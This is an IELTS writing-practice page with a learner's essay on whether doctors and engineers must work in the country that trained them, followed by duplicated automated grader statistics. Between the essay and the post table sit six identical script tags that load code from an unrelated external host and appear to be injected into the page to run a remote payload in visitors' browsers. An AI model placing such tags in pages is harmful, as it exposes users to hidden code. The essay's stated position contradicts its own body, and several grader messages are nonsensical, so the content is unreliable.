Some people believe that professionals, such as doctors and engineers, should be required to work in the country there they did their training. Others believe they should be free to work in another country if they wish
Discuss both views and give your opinion?
Some people think that specialists in intellectual areas, such as medical and engineering employees, should be coerced to contribute to the nation giving them training, whereas others claim that they should have right to select the country they want to devote to. In my opinion, I agree with the first view.
On the one hand, it is said that professional workers should be given a choice to work in the country they like. The primary reason is that they can decide on the working environment which is best suitable for themselves. For example, Vietnam has been training a large number of doctors and scientists throughout decades. However, after graduation, most employees choose to reside in and contribute their skills to developed nations, such as Japan or the US. This is because there are no working contexts which are appropriate for further employment development if they stay in the mother nation. Within a prosperous country, by contrast, they can come into contact with groundbreaking technologies and interact with colleagues on a superior level.
On the other hand, others and I believe that professional workers should be forced to contribute their talent and devotion to the country offering them training. Firstly, this action prevents loss of prominent intellectuals from the nation. Upon training completion, they have to work in national establishments, making contribution to the society in general and the domain they have embarked on in particular. By this way, the mother nation would thrive steadily, and the quantity of annual professional workers can be guaranteed. Finally, this policy can sow the seed of patriotism into residents’ mind. It means that if one country gives a student favorable conditions for professionalism, then that person should devote his skills to the country after achieving a degree, which is a symbol of love for nation in return. With this policy, both the worker and government can enjoy mutual benefits.
In summary, there are merits to both arguments based on the above discussion and analysis, but I believe the first view is more reasonable.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-01-27 | nguyendangquang.aspect | 78 | view |
- New technologies have changed the way children spend their free time Do you think the advantages of this trend outweigh the disadvantages 84
- The graph below shows the percentage of the Australian workforce in five industries between 1962 and 2012 Summarize the information by selecting and reporting the main features and make comparisons where relevant 11
- Essay topics Some people believe that women should play an equal role as men in a country s police force or military force while others think women are not suitable for these kinds of jobs Discuss both views and give your opinion KHANH HOMEWORK 05 06 56
- The pictures below show the process of making clothes from recycled plastic bottles Summarize the information by selecting and reporting the main features and make comparisons where relevant 78
- Modern technologies and ways of buying and selling are transforming the lives of consumers To what extent do you agree or disagree with this opinion 80
Comments
Essay evaluations by e-grader
Grammar and spelling errors:
Line 1, column 280, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
... they want to devote to. In my opinion, I agree with the first view. On the one...
^
Line 2, column 262, Rule ID: LARGE_NUMBER_OF[1]
Message: Specify a number, remove phrase, or simply use 'many' or 'numerous'
Suggestion: many; numerous
... For example, Vietnam has been training a large number of doctors and scientists throughout decad...
^^^^^^^^^^^^^^^^^
Line 3, column 31, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
... level. On the other hand, others and I believe that professional workers shoul...
^
Line 4, column 96, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
... the above discussion and analysis, but I believe the first view is more reasonab...
^
Line 4, column 141, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...ieve the first view is more reasonable.
^^^
Transition Words or Phrases used:
but, finally, first, firstly, however, if, so, then, whereas, for example, in general, in particular, in summary, such as, in my opinion, on the other hand
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 14.0 13.1623246493 106% => OK
Auxiliary verbs: 11.0 7.85571142285 140% => OK
Conjunction : 12.0 10.4138276553 115% => OK
Relative clauses : 10.0 7.30460921844 137% => OK
Pronoun: 33.0 24.0651302605 137% => Less pronouns wanted
Preposition: 51.0 41.998997996 121% => OK
Nominalization: 8.0 8.3376753507 96% => OK
Performance on vocabulary words:
No of characters: 1768.0 1615.20841683 109% => OK
No of words: 339.0 315.596192385 107% => OK
Chars per words: 5.21533923304 5.12529762239 102% => OK
Fourth root words length: 4.29091512845 4.20363070211 102% => OK
Word Length SD: 2.91093800996 2.80592935109 104% => OK
Unique words: 191.0 176.041082164 108% => OK
Unique words percentage: 0.563421828909 0.561755894193 100% => OK
syllable_count: 530.1 506.74238477 105% => OK
avg_syllables_per_word: 1.6 1.60771543086 100% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 8.0 5.43587174349 147% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 2.0 0.809619238477 247% => Less conjunction wanted as sentence beginning.
Preposition: 10.0 4.76152304609 210% => Less preposition wanted as sentence beginnings.
Performance on sentences:
How many sentences: 16.0 16.0721442886 100% => OK
Sentence length: 21.0 20.2975951904 103% => OK
Sentence length SD: 53.9319232343 49.4020404114 109% => OK
Chars per sentence: 110.5 106.682146367 104% => OK
Words per sentence: 21.1875 20.7667163134 102% => OK
Discourse Markers: 9.6875 7.06120827912 137% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 5.0 5.01903807615 100% => OK
Sentences with positive sentiment : 10.0 8.67935871743 115% => OK
Sentences with negative sentiment : 1.0 3.9879759519 25% => More negative sentences wanted.
Sentences with neutral sentiment: 5.0 3.4128256513 147% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.389795012061 0.244688304435 159% => OK
Sentence topic coherence: 0.109946645933 0.084324248473 130% => OK
Sentence topic coherence SD: 0.102366702587 0.0667982634062 153% => OK
Paragraph topic coherence: 0.229677740857 0.151304729494 152% => OK
Paragraph topic coherence SD: 0.0730397047752 0.056905535591 128% => OK
Essay readability:
automated_readability_index: 13.8 13.0946893788 105% => OK
flesch_reading_ease: 50.16 50.2224549098 100% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 11.5 11.3001002004 102% => OK
coleman_liau_index: 13.0 12.4159519038 105% => OK
dale_chall_readability_score: 9.15 8.58950901804 107% => OK
difficult_words: 96.0 78.4519038076 122% => OK
linsear_write_formula: 11.0 9.78957915832 112% => OK
gunning_fog: 10.4 10.1190380762 103% => OK
text_standard: 11.0 10.7795591182 102% => OK
What are above readability scores?
---------------------
Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.
Grammar and spelling errors:
Line 1, column 280, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
... they want to devote to. In my opinion, I agree with the first view. On the one...
^
Line 2, column 262, Rule ID: LARGE_NUMBER_OF[1]
Message: Specify a number, remove phrase, or simply use 'many' or 'numerous'
Suggestion: many; numerous
... For example, Vietnam has been training a large number of doctors and scientists throughout decad...
^^^^^^^^^^^^^^^^^
Line 3, column 31, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
... level. On the other hand, others and I believe that professional workers shoul...
^
Line 4, column 96, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
... the above discussion and analysis, but I believe the first view is more reasonab...
^
Line 4, column 141, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...ieve the first view is more reasonable.
^^^
Transition Words or Phrases used:
but, finally, first, firstly, however, if, so, then, whereas, for example, in general, in particular, in summary, such as, in my opinion, on the other hand
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 14.0 13.1623246493 106% => OK
Auxiliary verbs: 11.0 7.85571142285 140% => OK
Conjunction : 12.0 10.4138276553 115% => OK
Relative clauses : 10.0 7.30460921844 137% => OK
Pronoun: 33.0 24.0651302605 137% => Less pronouns wanted
Preposition: 51.0 41.998997996 121% => OK
Nominalization: 8.0 8.3376753507 96% => OK
Performance on vocabulary words:
No of characters: 1768.0 1615.20841683 109% => OK
No of words: 339.0 315.596192385 107% => OK
Chars per words: 5.21533923304 5.12529762239 102% => OK
Fourth root words length: 4.29091512845 4.20363070211 102% => OK
Word Length SD: 2.91093800996 2.80592935109 104% => OK
Unique words: 191.0 176.041082164 108% => OK
Unique words percentage: 0.563421828909 0.561755894193 100% => OK
syllable_count: 530.1 506.74238477 105% => OK
avg_syllables_per_word: 1.6 1.60771543086 100% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 8.0 5.43587174349 147% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 2.0 0.809619238477 247% => Less conjunction wanted as sentence beginning.
Preposition: 10.0 4.76152304609 210% => Less preposition wanted as sentence beginnings.
Performance on sentences:
How many sentences: 16.0 16.0721442886 100% => OK
Sentence length: 21.0 20.2975951904 103% => OK
Sentence length SD: 53.9319232343 49.4020404114 109% => OK
Chars per sentence: 110.5 106.682146367 104% => OK
Words per sentence: 21.1875 20.7667163134 102% => OK
Discourse Markers: 9.6875 7.06120827912 137% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 5.0 5.01903807615 100% => OK
Sentences with positive sentiment : 10.0 8.67935871743 115% => OK
Sentences with negative sentiment : 1.0 3.9879759519 25% => More negative sentences wanted.
Sentences with neutral sentiment: 5.0 3.4128256513 147% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.389795012061 0.244688304435 159% => OK
Sentence topic coherence: 0.109946645933 0.084324248473 130% => OK
Sentence topic coherence SD: 0.102366702587 0.0667982634062 153% => OK
Paragraph topic coherence: 0.229677740857 0.151304729494 152% => OK
Paragraph topic coherence SD: 0.0730397047752 0.056905535591 128% => OK
Essay readability:
automated_readability_index: 13.8 13.0946893788 105% => OK
flesch_reading_ease: 50.16 50.2224549098 100% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 11.5 11.3001002004 102% => OK
coleman_liau_index: 13.0 12.4159519038 105% => OK
dale_chall_readability_score: 9.15 8.58950901804 107% => OK
difficult_words: 96.0 78.4519038076 122% => OK
linsear_write_formula: 11.0 9.78957915832 112% => OK
gunning_fog: 10.4 10.1190380762 103% => OK
text_standard: 11.0 10.7795591182 102% => OK
What are above readability scores?
---------------------
Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.